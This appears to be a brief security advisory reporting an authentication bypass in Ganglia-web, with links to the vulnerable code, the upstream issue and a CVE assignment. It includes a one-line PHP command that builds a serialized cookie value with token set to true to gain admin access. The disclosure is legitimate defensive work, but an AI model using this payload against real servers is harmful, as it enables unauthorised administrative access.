A vulnerability of auth bypassing was found in Ganglia-web. It's easy to bypass auth by using boolean serialization like this: $ php -r "echo urlencode(serialize(array('user'=>'admin','group'=>'admin', 'token'=>true)));"

Vulnerable code:

https://github.com/ganglia/ganglia-web/blob/4e98ea69e0e18b388cdc73809ce54843a16ff87b/lib/GangliaAuth.php#L34-L46

Upstream report:

https://github.com/ganglia/ganglia-web/issues/267

CVE assignment:

http://seclists.org/oss-sec/2015/q3/502